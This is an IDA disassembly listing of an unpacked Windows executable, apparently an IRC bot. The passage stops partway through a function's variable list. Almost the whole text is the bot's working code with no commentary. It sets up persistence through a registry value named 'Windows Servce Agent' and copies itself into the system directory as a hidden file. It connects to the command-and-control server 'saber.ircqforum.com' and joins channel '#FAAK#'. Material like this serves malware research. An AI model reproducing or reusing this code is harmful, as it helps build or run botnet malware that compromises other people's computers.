;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AFE2A0F41D8F14757D39212E192AE45C

; File Name   :	u:\work\afe2a0f41d8f14757d39212e192ae45c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401221+358p
					; sub_418359+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB5E8	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB658	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB598	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_4163F9+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: sub_401221+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E57C
		call	dword_4CB6CC	; closesocket
		call	sub_40B2BF
		call	dword_4CB58C	; WSACleanup
		call	dword_4CB58C	; WSACleanup
		mov	ebx, dword_427078
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43D7E8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D7E0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_427064	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: .packed:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CB370, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401221	proc near		; CODE XREF: sub_41D933+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB374, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB6E0	; SetErrorMode
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	dword_4270A4	; CreateMutexA
		push	eax
		call	dword_4270A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	dword_427064	; ExitProcess


loc_4012A1:				; CODE XREF: sub_401221+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4CB5A4	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	[ebp+var_884], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_42709C	; GetModuleHandleA
		push	eax
		call	dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset dword_429A98
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: sub_401221+179j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: sub_401221+148j
					; sub_401221+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_429A90
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_427094	; SetFileAttributesA


loc_4013DC:				; CODE XREF: sub_401221+1A7j
		mov	esi, dword_427090
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: sub_401221+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40142C
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: sub_401221+1E5j
		push	1
		pop	edi
		push	3A98h
		call	dword_427078	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: sub_401221+1D6j
					; sub_401221+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_427094	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43D7E8
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_427088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_427084	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_429A84
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	dword_427078	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_427068
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4CB58C	; WSACleanup
		push	ebx
		call	dword_427064	; ExitProcess


loc_401516:				; CODE XREF: sub_401221+137j
					; sub_401221+2CBj
		cmp	dword_4DB954, 2
		jle	short loc_401562
		mov	eax, dword_4DB958
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4270A0	; WaitForSingleObject
		push	esi
		call	dword_427068	; CloseHandle
		mov	eax, dword_4DB958
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	dword_427078	; Sleep
		mov	eax, dword_4DB958
		push	dword ptr [eax+8]
		call	dword_427080	; DeleteFileA


loc_401562:				; CODE XREF: sub_401221+2FCj
					; sub_401221+326j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB704, ebx
		jnz	short loc_40157F
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: sub_401221+347j
					; sub_401221+34Fj
		lea	eax, [ebp+var_A0]
		push	offset dword_429A68
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D7F0
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp+var_A0]
		push	offset unk_429A44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_419A00
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E584[esi], eax
		jnz	short loc_401622
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_429A04
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: sub_401221+3E4j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp+var_A0]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101FC
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E584[esi], eax
		jnz	short loc_40169A
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_4299A4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: sub_401221+45Cj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: sub_401221+418j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CB37C
		mov	dword_4CB4E8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB3FC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4CC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB43C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4D0, ebx


loc_4016FC:				; CODE XREF: sub_401221+563j
					; sub_401221+56Ej ...
		mov	[ebp+var_4], ebx


loc_4016FF:				; CODE XREF: sub_401221+517j
		push	offset dword_4CB378
		mov	dword_4CB4E4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D9
		cmp	dword_4CB4E4, ebx
		jz	short loc_401726
		dec	[ebp+var_4]


loc_401726:				; CODE XREF: sub_401221+500j
		push	0BB8h
		call	dword_427078	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016FF
		cmp	[ebp+var_10], 2
		jz	loc_4017D9
		cmp	[ebp+var_C], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CB37C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4CC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: sub_401221+526j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB37C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4CC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: sub_401221+4F4j
					; sub_401221+51Dj
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: sub_401221+A1j
					; sub_401221+B1j
		call	dword_4CB58C	; WSACleanup


loc_4017E4:				; CODE XREF: sub_401221+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: sub_401221+4E9p
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB634	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E588
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6B4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E57C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6CC	; closesocket
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	dword_427078	; Sleep
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AA0
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6CC	; closesocket
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB4E0, bl
		jz	short loc_40199A
		push	offset byte_4CB4E0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6CC	; closesocket
		push	1388h
		call	dword_427078	; Sleep


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	dword_427078	; Sleep
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
